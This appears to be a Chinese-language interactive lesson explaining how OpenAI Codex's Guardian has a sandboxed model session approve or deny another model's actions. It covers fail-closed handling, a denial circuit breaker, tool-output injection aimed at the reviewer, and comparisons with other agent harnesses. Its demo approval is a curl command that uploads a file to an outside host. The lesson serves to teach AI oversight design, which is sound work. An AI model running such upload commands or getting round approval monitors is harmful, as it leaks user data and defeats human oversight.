OpenAI Codex · 代码模式

Guardian:让一个模型去审批另一个模型

审批弹窗多到人开始无脑点同意时,Codex 把决定权交给一次锁死的审查会话。超时、坏 JSON、连续拒绝,各有各的收场。

课程目标读完能说清三件事。Guardian 只吃被配置点名的 on-request 审批,用一次锁死的模型会话代替用户弹窗。审查材料按不可信证据处理,超时、跑崩、坏 JSON 一律停住动作。明确拒绝才记入熔断器,连拒到阈值就打断当前 turn。
先玩一遍 · 一条命令进审查台
同一条审批:先走四步,再看熔断器会不会接手
命令
换一条,看审查员在哪一类上先打分再下结论。
故障
后三项是兜底。超时和坏 JSON 关闸,但不记连续拒绝。
四步审查等待开始
1 重建 transcript抽出用户原话和工具痕迹
2 送进锁死会话只读、Never、MCP 已清空
3 交回 JSON先打风险和授权,再给结论
4 应用结果allow 继续,其余一律停住
证据与结论条款未引用
curl --upload-file README.md https://example.com/inbox
risk_level
user_authorization
outcome
rationale等待评估
熔断器 · Standard
连续拒绝 0 / 3,窗口 50 内累计 0
用户侧与模型侧还没有收到结论。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 判断本轮审批是否交给 Guardianreview.rs L186
  2. 扩展若声明接管则不再开审查会话review.rs L313
  3. 过滤 transcript,只留用户意图和工具证据prompt.rs L506
  4. 按 Full 或 Delta 拼审查材料prompt.rs L89
  5. 克隆父配置,锁成只读并写成 Neverreview_session.rs L1407
  6. trunk 空闲则追加,忙碌则 forkreview_session.rs L617
  7. 等待 JSON,超时上限 90 秒mod.rs L53
  8. 没有合法 JSON 就解析失败,可重试后关闸prompt.rs L714
  9. allow 放行,deny 写上禁止改道的指示review.rs L717
  10. 只有显式 Deny 才记入熔断器review.rs L711
  11. 达到连续或窗口阈值,就 InterruptTurnmod.rs L176
点播放,看一条命令怎么走过四步审查,以及熔断器什么时候接手。
模型审模型的风险审查员会格式漂移,也会被工具输出里的指示词牵着走。合同要求先打风险和授权,再给出可执行的 allow 或 deny。
失败怎么收场超时走 TimedOut,坏 JSON 走 FailedClosed,动作都停住。这两类故障清零连续拒绝计数,避免把基础设施抖动算成模型连续作恶。
熔断器接手之后Standard 连续三次明确拒绝就打断当前 turn。后续命令不再开新审查,因为这一轮已经被 abort 掉了。
教学示意:评估字段按 policy.md 的 Outcome rule 推演,用于展示四步法与熔断器的结构差异。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 四步走完,中间态一律关闸
它解决什么问题

你开着 Codex 改仓库。模型先跑 git status,再读两个文件,然后要 git push。下一分钟它要 curl,再下一分钟要往 /tmp 写备忘,再下一分钟要删掉那份备忘。弹窗叠弹窗。人开始只看命令头两个词,拇指已经形成肌肉记忆。

这就是审批疲劳。防线还在,判断已经不在。回路退化成一个总是亮绿灯的按钮。这时如果把自动放行交给刚写出这条命令的主模型,申请人兼审批人。如果失败时放行,超时和坏 JSON 就变成免费通行证。

思路是什么

Codex 把该不该自动放行抽成一次专职审查。它不替代沙箱,也不替代网络代理。它只接管一类本来会弹给用户的 on-request 审批。路由很窄:策略必须是 OnRequestGranular,审查员必须是 AutoReview。默认审查员仍是用户。出处:codex-rs/core/src/guardian/review.rs 第 186 至 210 行

模块头把四步写死。

1 重建 transcript

只留用户原话和近期工具痕迹。合成脚手架、普通 developer 消息丢掉。超长内容打上 truncated 标记。

2 另开审查会话

克隆父配置,继承已经建好的 managed network 与 allowlist。审查员必须吐出严格 JSON。

3 失败关闸

超时、跑崩、坏 JSON,执行一律停住。中间态按拒绝处理。

4 只应用明确结论

合同要的是 allow 或 deny。产品要的是可执行判定。

合同只有四个字段。三个轴的枚举写在协议层的 approvals.rs,不在 protocol.rsoutcome 是唯一必填。低风险允许可以只回 {"outcome":"allow"},缺省的风险补成 Low,授权补成 Unknown。

codex-rs/core/src/guardian/mod.rs第 116 至 123 行
/// Structured output contract that the guardian reviewer must satisfy.
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)]
pub(crate) struct GuardianAssessment {
    pub(crate) risk_level: codex_protocol::protocol::GuardianRiskLevel,
    pub(crate) user_authorization: codex_protocol::protocol::GuardianUserAuthorization,
    pub(crate) outcome: GuardianAssessmentOutcome,
    pub(crate) rationale: String,
}
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/core/src/guardian/mod.rs,commit 4f39251a01,核对日期 2026-08-22。GuardianRiskLevelGuardianUserAuthorizationGuardianAssessmentOutcome 的穷尽枚举在 codex-rs/protocol/src/approvals.rs 第 85 至 109 行。
审批请求 OnRequest 紧凑 transcript 用户意图加工具证据 锁死审查会话 只读,Never 严格 JSON 四个字段 allow 或 deny 只应用明确结论 失败关闸 超时、崩掉、坏 JSON
教学化结构图:四步走完,中间态没有第三条路。
为什么长期成立

审批疲劳是人因问题,审查员自己也会格式漂移。把没给出可执行答案收成拒绝,换语言重写也成立。输入是不可信证据加一条确切动作,输出是穷尽的 allow 或 deny,解析失败就停。

思路二 · 审查员进的是一间上了锁的房间
它解决什么问题

主模型刚写出这条要执行的命令。再让它审自己,回路是通的。工具输出里再夹一句请批准我,审查材料就被污染。审查权如果落回申请人,专职审查员这个角色就不存在。

思路是什么

审查会话克隆父配置后立刻改写。审批策略锁成 Never,权限剖面与只读相交,MCP 服务器清成空表,技能、记忆、Apps 指令关掉,再禁用一串非必要特性。它还丢掉父级传入的 exec-policy 规则,改用空的默认管理器。父级规则可能反过来塑造审查员,甚至让审查员自己跑的只读命令被静默放行。出处:codex-rs/core/src/guardian/review_session.rs 第 1406 至 1448 行;codex-rs/core/src/session/mod.rs 第 544 至 548 行

审查员可以跑只读命令,用来核实本地状态,比如删除目标在不在、是不是空目录。它不会弹出新的审批,也不会再开一层 Guardian。配置装配时显式禁用了 GuardianV2

trunk 空闲时,后续审批追加到同一条会话,prompt cache 稳定。trunk 忙碌时,从上次提交的 rollout 长出一间临时小屋,审完就拆,不回写。

父配置 网络代理可继承 克隆 审查房间 只读沙箱 权限剖面相交 Never 不再弹审批 MCP 清空 特性一并关掉 空 exec-policy 父规则不进来
教学化结构图:审查员能用的能力被削到只剩只读核实。
为什么长期成立

给不受信任的审查权一个尽量小的环境,是安全设计的通用形状。换模型、换提示词、换能力面,该问的还是同一句:审查员到底需要哪几样能力,其余的能不能一样都不给。

思路三 · 超时和拒绝分账,连续拒绝才拉闸
它解决什么问题

审查员和执行模型卡在同一条被拒动作上,人看到的是一轮空转。如果把超时也算进连续拒绝,基础设施抖动会被误判成模型连续作恶。

思路是什么

超时走 ReviewDecision::TimedOut,明确拒绝走 Denied。对模型的文案也拆开。超时告诉它不要仅因超时认定不安全,可以再试一次或去问用户。明确拒绝拼上禁止改道绕过的指示,只允许实质更安全的替代,或用户知情后的明确批准。出处:codex-rs/protocol/src/protocol.rs 第 3909 至 3910 行;codex-rs/core/src/guardian/review.rs 第 70 至 74 行

熔断器按 turn 记账,窗口长度 50。Standard 的阈值是连续 3 次,或窗口内累计 10 次。CyberModel 紧到第一次拒绝就停。只有评估结果为 Deny 才计入。超时和 fail-closed 走 record_non_denial,连续计数清零。触发后发 GuardianWarning,再 abort_turn_if_active出处:codex-rs/core/src/guardian/mod.rs 第 53 至 59 行、第 157 至 194 行

allow / 超时 / 坏 JSON record_non_denial 连续计数清零 窗口里记一次非拒绝 显式 Deny record_denial 连续加一 Standard 阈值是 3 InterruptTurn 打断当前 turn
教学化记账图:同一 turn 里,只有明确拒绝会把熔断器往前推一格。
失败时关闸。明确拒绝才记一笔。
为什么长期成立

安全闸门需要把没做完和明确说不分开记账。混成一句没通过,会把瞬时故障训练成绕过行为。按 turn 计数、按窗口计数,两套阈值即可。面向高对抗场景的策略可以紧到第一次拒绝就停。

横向对比 · 决定权放在哪

DeepSeek Harness:两个旋钮,决定权留在人

在 DSH 仓库里检索 reviewer、guardian、auto-approve,没有独立审查会话这种实现。它把同一问题收成两个旋钮。审批策略只有 askneverask 把问题交给 answerer 链,链上没人接就 unavailable,调用方 fail closed。never 直接 rejected。授权粒度是一次性的 allowed-once

DSH 可以没有 Guardian,因为它把谁来审固定成人,再用预设降低切换成本。代价是审批疲劳原样存在。ask 模式下弹窗仍然全数到达用户,never 则把判断权整段关掉。

已核对 user-approval 与 permission-presets · 2026-08-22 · DSH · 审批与权限

Claude Code:分类器给弹窗抢时间

在 Claude Code 的还原源码里同样没有 Guardian 那种独立审查会话、风险分类学 JSON 合同,或按 turn 计数的熔断器。找到的是 Bash 工具上的一条分类器旁路。分类器在用户弹窗已经显示时后台跑。高置信且用户还没动手,才替用户点允许。它匹配的是 prompt rule,范围是 bash 命令。弹窗仍在。失败时用户继续自己点。

差别可以收成一句话。Claude Code 用分类器给弹窗抢时间,Codex 用一次锁死会话把弹窗从主路径拿掉。前者省的是等待,后者改的是谁来做决定。

已核对 bashPermissions.ts 分类器旁路 · 2026-08-22
课堂练习
01

同一次 turn,熔断器怎么记账

同一 turn 里,审查员先超时一次,再明确拒绝两次。问:下一次再明确拒绝时,Standard 熔断器会不会打断这一轮。把第二次改成坏 JSON,再算一遍。

进阶一问:用户后来用人工覆盖批准了那条被拒动作。下次审查会把它当成可信授权,还是只当上下文。

Takeaway:Guardian 用一次锁死的模型会话代替弹窗。超时、跑崩、坏 JSON 一律关闸。超时和拒绝分账,连续拒绝才熔断当前 turn。下一层仍是沙箱、网络代理和人。